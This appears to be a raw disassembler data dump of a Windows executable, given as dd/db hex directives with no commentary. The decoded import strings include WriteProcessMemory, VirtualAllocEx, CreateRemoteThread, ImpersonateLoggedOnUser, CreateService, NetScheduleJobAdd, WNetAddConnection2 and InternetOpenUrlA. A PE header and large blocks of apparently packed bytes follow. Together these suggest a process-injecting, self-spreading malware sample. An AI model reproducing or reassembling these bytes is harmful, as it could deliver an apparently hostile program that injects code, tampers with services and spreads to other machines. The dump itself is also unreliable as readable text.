dd 6D695465h, 47010065h, 69467465h, 6954656Ch, 100656Dh
dd 70616548h, 6F6C6C41h, 47010063h, 72507465h, 7365636Fh
dd 61654873h, 48010070h, 46706165h, 656572h, 61655201h
dd 6C694664h, 50010065h, 65636F72h, 32337373h, 7478654Eh
dd 72500100h, 7365636Fh, 46323373h, 74737269h, 68540100h
dd 64616572h, 654E3233h, 1007478h, 6E65704Fh, 65726854h
dd 1006461h, 65726854h, 32336461h, 73726946h, 43010074h
dd 74616572h, 6D655265h, 5465746Fh, 61657268h, 57010064h
dd 65746972h, 636F7250h, 4D737365h, 726F6D65h, 56010079h
dd 75747269h, 6C416C61h, 45636F6Ch, 4F010078h, 506E6570h
dd 65636F72h, 1007373h, 64616552h, 636F7250h, 4D737365h
dd 726F6D65h, 53010079h, 69467465h, 7441656Ch, 62697274h
dd 73657475h, 47010041h, 69467465h, 7441656Ch, 62697274h
dd 73657475h, 47010041h, 75437465h, 6E657272h, 72694474h
dd 6F746365h, 417972h, 65724301h, 50657461h, 65636F72h
dd 417373h, 746E4901h, 6F6C7265h, 64656B63h, 72636544h
dd 6E656D65h, 49010074h, 7265746Eh, 6B636F6Ch, 6E496465h
dd 6D657263h, 746E65h, 746E4901h, 6F6C7265h, 64656B63h
dd 68637845h, 65676E61h, 72430100h, 65746165h, 6E657645h
dd 1004174h, 45746553h, 746E6576h, 704F0100h, 76456E65h
dd 41746E65h, 65470100h, 73795374h, 546D6574h, 656D69h
dd 1D500h, 0
db 0
db 1, 52h, 65h
aGopenkeyexw db 'gOpenKeyExW',0
db 1
aRegsetkeysecur db 'RegSetKeySecurity',0
db 1
aOpenscmanagerw db 'OpenSCManagerW',0
db 1
aEnumservicesst db 'EnumServicesStatusW',0
db 1
aOpenservicew_0 db 'OpenServiceW',0
dw 5101h
aUeryservicecon db 'ueryServiceConfigW',0
db 1
aQueryservice_1 db 'QueryServiceConfig2W',0
db 1, 49h, 6Dh
aPersonatelogge db 'personateLoggedOnUser',0
dw 4901h
aNitializesecur db 'nitializeSecurityDescriptor',0
dd 74654701h, 676E654Ch, 69536874h, 49010064h, 6974696Eh
dd 7A696C61h, 6C634165h, 64410100h, 63634164h, 41737365h
dd 776F6C6Ch, 63416465h, 53010065h, 65537465h, 69727563h
dd 65447974h, 69726373h, 726F7470h, 6C636144h, 65530100h
dd 6C694674h, 63655365h, 74697275h, 1004179h, 51676552h
dd 79726575h, 756C6156h, 41784565h, 65520100h, 65704F67h
dd 79654B6Eh, 417845h, 67655201h, 56746553h, 65756C61h
dd 417845h, 67655201h, 736F6C43h, 79654B65h, 6F4C0100h
dd 70756B6Fh, 76697250h, 67656C69h, 6C615665h, 416575h
dd 6A644101h, 54747375h, 6E656B6Fh, 76697250h, 67656C69h
dd 1007365h, 6E616843h, 65536567h, 63697672h, 6E6F4365h
dd 41676966h, 65520100h, 74726576h, 65536F54h, 100666Ch
dd 61657243h, 65536574h, 63697672h, 1004165h, 72617453h
dd 72655374h, 65636976h, 4F010041h, 536E6570h, 6E614D43h
dd 72656761h, 4F010041h, 536E6570h, 69767265h, 416563h
dd 6F6C4301h, 65536573h, 63697672h, 6E614865h, 656C64h
dd 6E6F4301h, 6C6F7274h, 76726553h, 656369h, 6C654401h
dd 53657465h, 69767265h, 1006563h, 6E65704Fh, 636F7250h
dd 54737365h, 6E656B6Fh, 65470100h, 6B6F5474h, 6E496E65h
dd 6D726F66h, 6F697461h, 4101006Eh, 636F6C6Ch, 41657461h
dd 6E49646Eh, 61697469h, 657A696Ch, 646953h, 75714501h
dd 69536C61h, 46010064h, 53656572h, 1006469h, 45676552h
dd 4B6D756Eh, 78457965h, 52010057h, 65536765h, 6C615674h
dd 78456575h, 52010057h, 75516765h, 56797265h, 65756C61h
dd 577845h, 67655201h, 73756C46h, 79654B68h, 65520100h
dd 65724367h, 4B657461h, 78457965h, 52010057h, 72436765h
dd 65746165h, 4579654Bh, 4178h, 1E2h, 214h, 654E5701h
dd 64644174h, 6E6E6F43h, 69746365h, 57326E6Fh, 4E570100h
dd 64417465h, 6E6F4364h, 7463656Eh, 326E6F69h, 57010041h
dd 4374654Eh, 65636E61h, 6E6F436Ch, 7463656Eh, 326E6F69h
dd 57010041h, 4374654Eh, 65636E61h, 6E6F436Ch, 7463656Eh
dd 326E6F69h, 0EA000057h, 28000001h, 1000002h, 7274735Fh
dd 706D6369h, 695F0100h, 7474696Eh, 6D7265h, 64615F01h
dd 7473756Ah, 6964665Fh, 63010076h, 6F6C6C61h, 73010063h
dd 6E616373h, 6D010066h, 6F6D6D65h, 1006576h, 61657362h
dd 686372h, 73626101h, 69730100h, 6C01006Eh, 100676Fh
dd 74727473h, 1006B6Fh, 696F7461h, 775F0100h, 75647363h
dd 70010070h, 746E6972h, 73010066h, 70637274h, 73010079h
dd 68637274h, 73010072h, 6D637274h, 73010070h, 61637274h
dd 77010074h, 74737363h, 6D010072h, 70636D65h, 5F010079h
dd 6C727473h, 1007277h, 73727473h, 1007274h, 7274735Fh
dd 707564h, 73637701h, 7970636Eh, 63770100h, 6E656C73h
dd 616D0100h, 636F6C6Ch, 72660100h, 1006565h, 6C616572h
dd 636F6Ch, 73637701h, 746163h, 73637701h, 797063h, 73637701h
dd 706D63h, 6D656D01h, 746573h, 6E735F01h, 69727077h, 66746Eh
dd 6D656D01h, 706D63h, 72747301h, 7461636Eh, 72730100h
dd 646E61h, 6E617201h, 5F010064h, 72706E73h, 66746E69h
dd 74730100h, 70636E72h, 73010079h, 63727274h, 1007268h
dd 7274735Fh, 6D63696Eh, 73010070h, 656C7274h, 5F01006Eh
dd 696D656Dh, 706D63h, 1F500h, 2D800h, 654E0100h, 69704174h
dd 66667542h, 72467265h, 1006565h, 5374654Eh, 64656863h
dd 4A656C75h, 6544626Fh, 4E01006Ch, 63537465h, 75646568h
dd 6F4A656Ch, 756E4562h, 4E01006Dh, 63537465h, 75646568h
dd 6F4A656Ch, 64644162h, 654E0100h, 65735574h, 756E4572h
dd 4E01006Dh, 65537465h, 72657672h, 6D756E45h, 654E0100h
dd 736B5774h, 65476174h, 666E4974h, 200006Fh, 0C000002h
dd 1000004h, 6E496F43h, 61697469h, 657A696Ch, 75636553h
dd 79746972h, 6F430100h, 61657243h, 6E496574h, 6E617473h
dd 1006563h, 6E556F43h, 74696E69h, 696C6169h, 100657Ah
dd 6E496F43h, 61697469h, 657A696Ch, 7845h, 20Ch, 2F8h
dd 0FF0009FFh, 6FF0008h, 7FF00h, 2FFh, 219h, 310h, 63705201h
dd 646E6942h, 46676E69h, 536D6F72h, 6E697274h, 6E694267h
dd 676E6964h, 52010041h, 74536370h, 676E6972h, 646E6942h
dd 43676E69h, 6F706D6Fh, 416573h, 72644E01h, 65696C43h
dd 6143746Eh, 326C6Ch, 63705201h, 646E6942h, 46676E69h
dd 656572h, 22400h, 32400h, 44FF00h, 47485301h, 70537465h
dd 61696365h, 6C6F466Ch, 50726564h, 41687461h, 2300000h
dd 3300000h, 53010000h, 6C654448h, 4B657465h, 417965h
dd 44485301h, 74656C65h, 6C615665h, 416575h, 72745301h
dd 49727453h, 53010057h, 74537274h, 414972h, 23C00h, 42000h
dd 624F0100h, 6E696174h, 72657355h, 6E656741h, 72745374h
dd 676E69h, 24700h, 34400h, 65470100h, 73614C74h, 706E4974h
dd 6E497475h, 1006F66h, 74736F50h, 7373654Dh, 41656761h
dd 65470100h, 676C4474h, 6D657449h, 6E450100h, 68546D75h
dd 64616572h, 646E6957h, 73776Fh, 66654401h, 646E6957h
dd 7250776Fh, 41636Fh, 73694401h, 63746170h, 73654D68h
dd 65676173h, 52010041h, 73696765h, 43726574h, 7373616Ch
dd 43010041h, 74616572h, 6E695765h, 45776F64h, 1004178h
dd 4D746547h, 61737365h, 416567h, 61725401h, 616C736Eh
dd 654D6574h, 67617373h, 4C010065h, 5364616Fh, 6E697274h
dd 4167h, 252h, 374h, 72655601h, 72657551h, 6C615679h
dd 416575h, 74654701h, 656C6946h, 73726556h, 496E6F69h
dd 536F666Eh, 41657A69h, 65470100h, 6C694674h, 72655665h
dd 6E6F6973h, 6F666E49h, 5E000041h, 84000002h, 1000003h
dd 65746E49h, 74656E72h, 6E65704Fh, 416C7255h, 74480100h
dd 75517074h, 49797265h, 416F666Eh, 6E490100h, 6E726574h
dd 65477465h, 6E6F4374h, 7463656Eh, 74536465h, 657461h
dd 746E4901h, 656E7265h, 61655274h, 6C694664h, 49010065h
dd 7265746Eh, 4F74656Eh, 416E6570h, 6E490100h, 6E726574h
dd 6C437465h, 4865736Fh, 6C646E61h, 6A000065h, 0A0000002h
dd 0FF000003h, 1FF000Dh, 14FF00h, 0FF0015FFh, 2FF0073h
dd 6FF00h, 0FF0016FFh, 8FF0034h, 0EFF00h, 0FF0004FFh, 39FF006Fh
dd 0CFF00h, 0FF000BFFh, 3FF0009h, 13FF00h, 0FF0012FFh
dd 0AFF0097h, 10FF00h, 0FF0070FFh, 57010017h, 6F494153h
dd 6C7463h, 0
dd 16ACF000h, 4F0041Ch, 0CF00409h, 414040Fh, 40C040Ch
dd 40C0484h, 42C045Ch, 40C045Ch, 2 dup(40C040Ch), 0C10040Ch
dd 0F0040C04h, 8404019Ch, 124F004h, 0C044C04h, 19CF004h
dd 0C040C04h, 2D4F004h, 154F004h, 0F004CC04h, 4041DD8h
dd 4AC1404h, 42C040Ch, 8CF0040Ch, 4040402h, 22046CF0h
dd 36213B06h, 1318161Ah, 1B0F072Dh, 10692715h, 5D0A181Fh
dd 80D060Bh, 0F3D120Dh, 60F2D14h, 10250E29h, 92C095Ah
dd 192D0A06h, 20150B0Dh, 0F090B13h, 0B272B49h, 0E151B17h
dd 36061A21h, 0C0C1D0Ah, 0C0C0C05h, 0C050705h, 573A190Bh
dd 2006070Ah, 0F060C1Eh, 18080B12h, 6090605h, 16062B05h
dd 151C0A10h, 151A0B06h, 16070828h, 6070A2Dh, 0A0E0C24h
dd 45F0A923h, 0D061C01h, 0A16234Bh, 0E220A0Fh, 280F061Eh
dd 260D0626h, 2219501Eh, 15122115h, 1C57240Dh, 81063906h
dd 350E340Ch, 6253A1Dh, 9110819h, 91E0719h, 0C291612h
dd 91D0E2Eh, 1B120D07h, 1F192020h, 7F306461h, 9114B58h
dd 2B0A215Dh, 96C0F16h, 0C0A066Fh, 151E1A0Dh, 140E0708h
dd 0A0A1006h, 1F52080Ah, 8069430h, 2507110Ah, 0F201035h
dd 31360608h, 0F0E082Eh, 7111907h, 8361127h, 6093008h
dd 8012FF0h, 35093306h, 3B472237h, 13082B19h, 2157071Eh
dd 0B730C17h, 396C450Ah, 135A0C25h, 48243D65h, 248C0710h
dd 362E1A19h, 0F1D160Eh, 0C911A1Eh, 71D2E19h, 5130909h
dd 13062B05h, 909071Dh, 62B142Eh, 818122Fh, 93C0817h, 312D1019h
dd 7A288373h, 362F6B1Ch, 91B2F31h, 0E152A0Fh, 3D4F2E0Eh
dd 30131115h, 1115331Fh, 15332A13h, 32331311h, 13121015h
dd 989B1D80h, 140D1E3Bh, 451EAA0Ah, 170F0D1Ch, 50B0627h
dd 50E0505h, 5120505h, 50B0505h, 5050D05h, 2805050Dh, 5080706h
dd 15110505h, 0D15120Dh, 3F1B1210h, 14070716h, 5E123865h
dd 42141A30h, 8050A3Bh, 12240E1Eh, 270C8E13h, 0C071825h
dd 3F130710h, 0D151D3Bh, 421D4707h, 1D2E100Bh, 0D2B3006h
dd 214C0E80h, 34250F30h, 0D341E0Dh, 255D0625h, 452F300Fh
dd 12215708h, 2A070A10h, 24090625h, 110B0B15h, 310E240Ah
dd 5361517h, 1707112Ah, 280E1421h, 14140906h, 0E0A0B0Eh
dd 2CCE1F2Eh, 8152A60h, 1B0E140Ch, 1114061Ah, 26072A14h
dd 301C0E16h, 6070638h, 142D0731h, 22070D07h, 1F190B12h
dd 171E2909h, 10285B17h, 5D111613h, 93D2329h, 34440B1Dh
dd 35212543h, 151D1938h, 265D1309h, 6111E2Bh, 201B0805h
dd 5150516h, 6091B52h, 19110A27h, 7060585h, 2494371Ch
dd 9050614h, 0E1A5D08h, 480E1924h, 184D0826h, 0F1C0F09h
dd 0E360F10h, 0D701821h, 8141A19h, 0E06340Bh, 71D3520h
dd 5111728h, 2E0C1209h, 0D881733h, 1A380606h, 18600A0Ah
dd 2B061223h, 0E080620h, 100B100Ah, 1A060610h, 1A073B4Eh
dd 19060B23h, 7080635h, 80070822h, 0C0C1409h, 1D0C0606h
dd 7060814h, 1A050610h, 723320Ah, 4B160D0Bh, 11101409h
dd 0A0B54A3h, 7080E1Bh, 99160908h, 0D06060Bh, 14090509h
dd 908110Ch, 807080Eh, 9981209h, 40071C06h, 1C090509h
dd 2D060607h, 130E0A0Eh, 710060Ah, 35051021h, 150D1F1Dh
dd 2A262061h, 0B261311h, 61F0909h, 11093F17h, 0E0C1113h
dd 1A0E2E0Fh, 28461631h, 6716370Eh, 0D1C0912h, 0B0A1718h
dd 0A121419h, 1311131Dh, 0C1E1A1Ah, 9181B08h, 12190E1Ah
dd 491A3C09h, 0A08060Ah, 0A1F0F38h, 0E1E0C0Eh, 29072D0Ch
dd 4F053B10h, 530D1957h, 23063C0Ah, 116E062Dh, 223B0905h
dd 50F062Fh, 1D2F0666h, 0C0B1205h, 1509061Bh, 0A071111h
dd 180E1407h, 2F5B1629h, 28085A13h, 4113081Ah, 22045AF0h
dd 3C0E3C39h, 707940Ch, 0E1B150Dh, 12181212h, 11321312h
dd 2C3F1209h, 260E1305h, 130D07A6h, 0E0E0E17h, 1D091C0Eh
dd 9F060C14h, 2F06062Ah, 3A09090Bh, 0D211206h, 0C140E13h
dd 110D0C45h, 0D112816h, 17112432h, 0C0C0708h, 6190607h
dd 807080Ch, 14120B0Dh, 0C1C0F1Eh, 1D051317h, 6381A05h
dd 33292207h, 90A0788h, 19090919h, 431E0909h, 21100908h
dd 3C1E140Eh, 11100910h, 0F0B01D0Fh, 0B2F00174h, 350F008h
dd 0D9F04B0Eh, 0D2F0DD01h, 4C1F4909h, 154F07Ah, 64796E16h
dd 0F0345910h, 0D84B0145h, 14232052h, 0A7F03D7Ah, 57F03104h
dd 5D6F009h, 0F0024BF0h, 32F004D0h, 5D4F001h, 0Dh dup(4040404h)
dd 0F0E30404h, 0F01A0172h, 523A023Fh, 71307CEh, 5130505h
dd 90A1C05h, 90A1E2Bh, 7142B2Bh, 24071421h, 0C200809h
dd 1320361Eh, 1E0A0C1Fh, 32882008h, 3C07154Dh, 6AF04747h
dd 5A214903h, 19196C11h, 135A1919h, 9361724h, 1207072Fh
dd 91B0AAAh, 2C1E727Fh, 331E6860h, 108B0B80h, 7A41922h
dd 120E1630h, 102F00Dh, 53B2229h, 19124D0Ch, 573F1F0Ch
dd 0A57237Dh, 11287B2Ch, 92B2211h, 5E071A29h, 19151728h
dd 71B6407h, 7070A0Ah, 14070707h, 1A220A0Ah, 13461907h
dd 230C0A09h, 4F19071Ah, 0C250F11h, 26272A22h, 27272723h
dd 5815071Ah, 0C0A0913h, 2C2B0C23h, 0F0130719h, 0F0550869h
dd 0F0D10219h, 0C550018Bh, 1302EFF0h, 410365F0h, 0F0091A69h
dd 60600F9h, 6060606h, 390606E0h, 0D0B0608h, 5050E08h
dd 0A0D0B05h, 22060C15h, 61D5C12h, 6 dup(6060606h), 5060606h
dd 41CF7F0h, 3Dh dup(4040404h), 8040404h, 0Fh dup(4040404h)
dd 0F0040404h, 40405C0h, 5 dup(4040404h), 0F0040404h, 4040210h
dd 5 dup(4040404h), 0C040404h, 18040404h, 455000h, 3014C00h
dd 0AF48F100h, 3Eh, 0
dd 0E00E000h, 7010B21h, 1780000h, 280000h, 0
dd 171CC00h, 100000h, 1900000h, 0
dd 100010h, 20000h, 400h, 5A000400h, 400h, 0
dd 1D00000h, 40000h, 0
dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0
dd 1000h, 2 dup(0)
dd 1736400h, 14000h, 6 dup(0)
dd 1B00000h, 0F9800h, 0Ch dup(0)
dd 100000h, 42800h, 6 dup(0)
dd 65742E00h, 7478h, 177FA00h, 100000h, 1780000h, 40000h
dd 3 dup(0)
dd 2000h, 61642E60h, 6174h, 12FC00h, 1900000h, 100000h
dd 17C0000h, 3 dup(0)
dd 4000h, 65722EC0h, 636F6Ch, 130A00h, 1B00000h, 140000h
dd 18C0000h, 3 dup(0)
dd 4000h, 1C00042h, 178CC00h, 1CE0900h, 0D5C10000h, 8C000001h
dd 54607080h, 0D35E2248h, 14243434h, 0FFFFED69h, 0A7E7BD41h
dd 0CA45F52Dh, 44E64912h, 4C72D61Eh, 723CBA1Bh, 0F6FFEAF0h
dd 75EBFFFFh, 44E85EF3h, 0E95687CDh, 3406E621h, 93497633h
dd 36A4EC42h, 4DADA619h, 0FFFF5912h, 967FFFFFh, 25418501h
dd 7E83E2CBh, 0B385DF72h, 0FB59E1DDh, 2D9A7897h, 0E93DB6B2h
dd 39455258h, 0FFFF901Bh, 9FC8FFFFh, 422B5CD7h, 0D86AA6DEh
dd 4CF2D003h, 2E2472AFh, 4DF38C9Dh, 0F24D2F2Fh, 2989D649h
dd 0FFFFC9A2h, 0FFC6FFFFh, 0B6985FF2h, 92AD0968h, 10D57010h
dd 0B6DA1CEAh, 0CC03D4BCh, 578E9E8Dh, 0BCFCCF8Ch, 1450C35Bh
dd 319EFE17h, 8A08DA5Bh, 0D2BF2693h, 0BFFFFFFBh, 873383D6h
dd 0F6C269AFh, 3499155Fh, 880FCB14h, 0E92944CCh, 7E9E4593h
dd 228712F9h, 7FFF837Fh, 0BB43338Eh, 605B400Ch, 3140864Ch
dd 0B6659917h, 0E58AC26Ch, 0FFF030A4h, 0F3D9FFFFh, 0EBBB6AD6h
dd 0EC02DADFh, 237E386Dh, 8A6811EEh, 93A87D62h, 0DCC69E93h
dd 0BFFF17Bh, 6670BFFFh, 3DC83972h, 20C356E5h, 259AA8D9h
dd 0D4993B3Fh, 0D7D1617Eh, 0FFFF5074h, 6AE3FFFFh, 315A49EBh
dd 29DE213Dh, 0FC30CD4Ah, 98D7FDD1h, 0A64B6073h, 0F95D0853h
dd 21E605EEh, 0FFFFED97h, 0B7D9F0BFh, 0B18FBCD6h, 26BD6B76h
dd 1C2C8A60h, 2D58E6B6h, 9404D47h, 9DB1835Bh, 0FFFF46FFh
dd 0A28E983Ch, 7A5D9E2Dh, 0C80DF107h, 0B047261Bh, 76087045h
dd 0CF9CC24Ch, 0FFFFFFFFh, 1E0EF33Ah, 15A800C6h, 7E9247CBh
dd 4207F91Dh, 0DC4992AAh, 0D6ED7104h, 0ADE6DCE7h, 1825BD3Ch
dd 0FFFFFFFFh, 0FAECFA32h, 0CCFBA5B7h, 0BA5249A1h, 0D3A76030h
dd 0E595A3B0h, 0BD61DAF2h, 0C097D227h, 373366D8h, 0FFFFFFFFh
dd 36D21304h, 24CB3F9Dh, 692E6B79h, 0AD0BE122h, 8A485BC1h
dd 8700D5E1h, 0F5064437h, 4B744CAEh, 0FFFFFFFFh, 57A30F20h
dd 57D40863h, 0E33AF0EBh, 0DFC4031Ah, 7F2D179Ah, 71441FFDh
dd 0BAB749DAh, 0DDB5263Fh, 0FFF4BFFFh, 18CAFE9Ch, 99ECDB70h
dd 30968463h, 73334C17h, 0C3B2BC4Dh, 68832C79h, 0DD3441CDh
dd 455CFE86h, 0BEE77DEDh, 3C396FA8h, 0A6243003h, 7367BA69h
dd 14031C39h, 734D0C10h, 4089A69h, 0F8FC3800h, 0D34D34F4h
dd 0E8ECF034h, 34D3E0E4h, 0D8DCD34Dh, 74C0C8D0h, 0B84DF8C7h
dd 854856B0h, 3A717756h, 20E003E4h, 0D8D34444h, 0BFB1E7D4h
dd 0A83B4E95h, 29290046h, 46094545h, 8A177508h, 10F60078h
dd 0D5450D05h, 1FBF6EB6h, 2024020h, 66660006h, 0FC06040Fh
dd 0DD683A4h, 42B0707h, 19930520h, 41901001h, 428AA374h
dd 424BF60h, 0AE882014h, 15C822A2h, 8DA8B91h, 2B9B3BA4h
dd 55D06E80h, 570AAD6Eh, 0FE88297Ah, 46746961h, 134D726Fh
dd 0A26C7069h, 2B2A8C16h, 0C6280B17h, 0A454642Ah, 71441CF6h
dd 90F6F54h, 2AE40515h, 405553A2h, 0CF549B7h, 0AB9E6547h
dd 25BF8280h, 0B9B70A0Eh, 694434CFh, 79534372h, 7A22AF14h
dd 1B48FD0Ah, 722A8F7Bh, 0B430721h, 0D1157B1h, 21173A4Bh
dd 614CCA28h, 4D010D32h, 5A1EA080h, 44566EFBh, 656469A5h
dd 8B756843h, 0C76B036Ah, 667942A8h, 0BDEC0B7Fh, 65B92AA5h
dd 410C89A6h, 949676D0h, 28709154h, 0B033ADDAh, 6513530Dh
dd 688A0670h, 21970BD8h, 0B9EC5FDCh, 82B0ADCh, 0C7A6953h
dd 8A01D87Bh, 655323ABh, 0D928209Bh, 1A645836h, 13B6CB41h
dd 6971010Ah, 0CD6BDEA7h, 1CA18D00h, 10B7C685h, 31D58229h
dd 6822456Eh, 1E37B361h, 9FB05CD6h, 6D614EA3h, 75DF60ABh
dd 2CC25775h, 72490B13h, 562CC244h, 8E81BD15h, 0C2DC282h
dd 806C4C43h, 0B1C51026h, 686F496Fh, 1B661258h, 0C6697239h
dd 84DA5D0Bh, 5708084Bh, 2DD16284h, 0E946D09Bh, 0B461AFFh
dd 2AC1166Dh, 75030AC9h, 8490A174h, 9A8F1A60h, 94B9BBA4h
dd 7826DB0Dh, 67396D72h, 364202CBh, 184911D8h, 8B1976C6h
dd 89672853h, 0D90909F0h, 3320531Bh, 10934E32h, 7443B65Bh
dd 6F98900Dh, 6DB6DBECh, 70D868F7h, 70705316h, 446F6873h
dd 0D9851A18h, 112E4566h, 75BB4358h, 743356BDh, 7456ED75h
dd 5B236467h, 0A32247D9h, 648CB034h, 0C30CC28Fh, 0E282931Eh
dd 93579AA2h, 9B124206h, 2C240BDBh, 2B0D1929h, 0ED85415Ah
dd 0CA56332Ch, 0CD403F75h, 16560496h, 138A2266h, 330E869Ah
dd 57688838h, 0E88A15B8h, 0C9731B36h, 0ED436B0Fh, 7B1E8223h
dd 3503901h, 631AC5A1h, 161B6E42h, 6076130Eh, 47D81497h
dd 0CD99480Ch, 70D85B9Eh, 1A14D1D5h, 9C30CD82h, 571052FDh
dd 65843020h, 950E9413h, 9B0D3B36h, 11211D3Bh, 42450519h
dd 18B0BE58h, 224162C3h, 42D251BEh, 194D6E68h, 647D77CAh
dd 52B3492Fh, 512F9681h, 0E82C1D28h, 8F117441h, 0D09B2B09h
dd 13357393h, 962CDEEh, 5295C12Bh, 0F0F4510Fh, 6C3D4925h
dd 61394436h, 1C246B6Eh, 49152F6Dh, 0E88A336Eh, 2F8F4500h
dd 5061EE58h, 5A217645h, 0C302480Ah, 4B15C666h, 4782F7DFh
dd 1D50090h, 2667DDACh, 62E7504Bh, 4F7965DBh, 0D3F0E57h
dd 26CFA253h, 53454E54h, 0D8D54D43h, 22F92845h, 88406E45h
dd 9E010822h, 31B059C6h, 14245768h, 45192157h, 6F0E0B31h
dd 0B026EA54h, 49153214h, 0C7378AD4h, 6F73C8B9h, 4F646174h
dd 0E7B6826Eh, 7DE94628h, 0D8628869h, 288A0B81h, 66304082h
dd 14B607D1h, 64DA48A3h, 0D0E1412Bh, 0A163AE4Ch, 0D05C0731h
dd 0F7422CAFh, 650C6577h, 61444816h, 784D9308h, 4167CE2Fh
dd 4114E006h, 6C14AEB1h, 1F084C8h, 0F41E4127h, 0CE2562E4h
dd 0B6FA81Fh, 55454AA0h, 8DF0A98Ch, 9641250Dh, 42482B6Ah
dd 1B5B9247h, 435F6E65h, 9636BC5h, 76501821h, 366F2C11h
dd 6C179B84h, 4A23E166h, 0CD65842h, 0A20E1C77h, 586C962Ch
dd 0E981D0Fh, 0C4920416h, 0A415CD38h, 0B7081364h, 0CDEB0060h
dd 2AF258Ah, 775A3909h, 30D10172h, 66544198h, 0AE1010FAh
dd 4F714591h, 0DE1C7809h, 2208DB29h, 4861293Ah, 57574146h
dd 68143B72h, 0B461167h, 1C0C536Eh, 4C26CD9h, 8E41103Fh
dd 0D26CD9B6h, 570214E2h, 3D02574Eh, 24145092h, 0C9D7D867h
dd 43411495h, 0FA176CC2h, 5700DB34h, 5F28EA62h, 0D75C9A73h
dd 0BA63E568h, 93F86909h, 4785686Dh, 0E0610AE8h, 0DC64665Fh
dd 9856C30Dh, 41EF1755h, 9BC26E09h, 7525128Bh, 620845B9h
dd 41048B6Dh, 96108D2h, 74336668h, 2847691Eh, 77025267h
dd 6B91DB9Bh, 4C690516h, 0DD736377h, 0BAD0B63Dh, 0AA687060h
dd 70631E66h, 4F279579h, 7268079Eh, 7461706Dh, 0CE62C5FBh
dd 27670A2Fh, 28776CA2h, 362F7BEFh, 29511018h, 604226Eh
dd 6C327F33h, 66AA6E65h, 0CDEC3686h, 1E0E045Ah, 0CE852E59h
dd 61711BDFh, 0F1746573h, 61BD8363h, 6E8D759Dh, 0D9B97334h
dd 0CA606A3h, 6CDE2905h, 6EC680D8h, 0E797C8C7h, 431586C6h
dd 4E5F903Dh, 9A70F111h, 0D8F57185h, 3D8D70BEh, 75166F0Ah
dd 526B6666h, 0A395311h, 6540B13Dh, 0C0F94A02h, 918F6463h
dd 2136D12h, 98AF658Eh, 0F61F6312h, 603B6387h, 876B570Eh
dd 65EAEF61h, 7DB66E9Dh, 40C02h, 0B5C39232h, 85156F19h
dd 8531341Bh, 279F2B25h, 0DB372955h, 0A88D73AEh, 3F8504Ch
dd 80209FFh, 2CB2BAECh, 190F0706h, 0E6031003h, 920FC4C2h
dd 0B8426370h
dd 5162E8B3h, 1CF38B51h, 0C1B16128h, 121D4110h, 74CE8B45h
dd 4E19DF16h, 2287B027h, 32B96415h, 0AD9A6D47h, 246030B0h
dd 6E44FF24h, 40745152h, 31970648h, 1841458Ah, 0D3B566D0h
dd 3030856Ch, 586E1321h, 415E9ACBh, 3482CB0Dh, 276C974h
dd 3A095749h, 0E20293Ch, 68E850ADh, 0B662750Ah, 0C2A0BD9h
dd 64475AAEh, 4469D498h, 33455F9Ch, 64CF3071h, 0B07C1E1h
dd 6CCDAB97h, 676C8FBFh, 83819893h, 0BA6DAC49h, 41459AFBh
dd 0B66ABE8h, 34228C6Dh, 0BC70BC1Dh, 0ACB5CD6h, 131B40E3h
dd 6C492C3Eh, 73660E86h, 0CB153471h, 2D59D586h, 118360A1h
dd 69126593h, 366EBA75h, 0B652D6B5h, 0CB125A74h, 0F1A11A72h
dd 0B05EA760h, 18E8C831h, 4BA69C54h, 35845E46h, 0CF12081Eh
dd 0D9EF5563h, 2FD5B62Ch, 59704048h, 3739212Ah, 7F472E58h
dd 6A08E65h, 1A9684B6h, 25854E2Bh, 263BC040h, 78D965F9h
dd 0DA06A9Ah, 0B2140175h, 159671F1h, 8A167E73h, 0CB2CB234h
dd 4020E36h, 2C0C396Fh, 0BC636CBh, 130203A2h, 2C0D9712h
dd 100AB2CBh, 53231770h, 0AB5B167Fh, 6C991441h, 16ACF047h
dd 0D773041Ch, 4F0EDFDh, 0F0C0309h, 0C041404h, 5C038401h
dd 0FDAD2C04h, 10C580Dh, 9CF00410h, 0B6051E01h, 2496C163h
dd 0D4150D4Ch, 5F540B02h, 0CC5B7B77h, 41DD805h, 14AC1400h
dd 0FF8C182Ch, 2BBFFFFh, 46CF00Eh, 213B0622h, 18161A36h
dd 0F072D13h, 6927151Bh, 0A181F10h, 0FF060B5Dh, 0DFFFFFFh
dd 3D120D08h, 0F2D140Fh, 250E2906h, 2C095A10h, 2D0A0609h
dd 150B0D19h, 90B1320h, 0B72B490Fh, 27EDFFEEh, 0E2D170Bh
dd 36061A21h, 0C0C1D0Ah, 7030C05h, 0FF190B05h, 3AFFFF6Fh
dd 6070A57h, 60C1E20h, 80B120Fh, 36060518h, 16062B05h
dd 151C0A10h, 7F1A0B06h, 15FDDFFBh, 16070828h, 0C24202Dh
dd 0A9230A0Eh, 1C0145F0h, 16234B68h, 0ED0A0F0Ah, 22EDDBFFh
dd 28321E0Eh, 1E260E26h, 15221950h, 0D151221h, 0F61D5724h
dd 39FFFFFFh, 340C8106h, 3A1D350Eh, 8190625h, 7190911h
dd 1612091Eh, 0E2E0C29h, 0A007091Dh, 0FC2FB7FEh, 1920201Bh
dd 7F30B41Fh, 5D1B4B58h, 162B0A21h, 6F096C0Fh, 0DFB7B5BFh
dd 1A0D0CA8h, 0E6A151Eh, 780614h, 301F5208h, 0EDD00094h
dd 0A0806FFh, 35250711h, 80F2010h, 6F2E31B2h, 0B7BB7F6Fh
dd 27101907h, 8083611h, 2FF0A330h, 9331601h, 0FFFFFF35h
dd 472237FFh, 82B193Bh, 57071E13h, 730C1721h, 6C450A0Bh
dd 5A0C2539h, 243D6513h, 8C071048h, 0FFF75F24h, 2E1A19FFh
dd 1D160E36h, 911A1E0Fh, 1D2E190Ch, 13090907h, 913DF05h
dd 0FB7FF62Eh, 2F0814B7h, 17081812h, 10A73C08h, 8373312Dh
dd 6B1C7A28h, 7FF76C2Fh, 1B2FE161h, 0E2B2A30h, 153D4F2Eh
dd 1F301311h, 0FFFF0533h, 42A5EA5h, 12101553h, 9B1D8013h
dd 0D1E3B98h, 1EAA0A14h, 56EE9945h, 0F0D1CF8h, 53282717h
dd 12030E05h, 0D63EE850h, 28020D0Bh, 0F080706h, 0FFFB1711h
dd 361ACDFFh, 7163F1Bh, 38651407h, 1A305E12h, 0A3B4214h
dd 0E1E0805h, 0DBFB4C24h, 0C8E7FB7h, 7182527h, 3F13AB0Ch
dd 7271D3Bh, 0B421D47h, 685FA810h, 30067FFFh, 0E800D2Bh
dd 0F30214Ch, 1E0D3425h, 255D4D02h, 0DBFF300Fh, 452FED85h
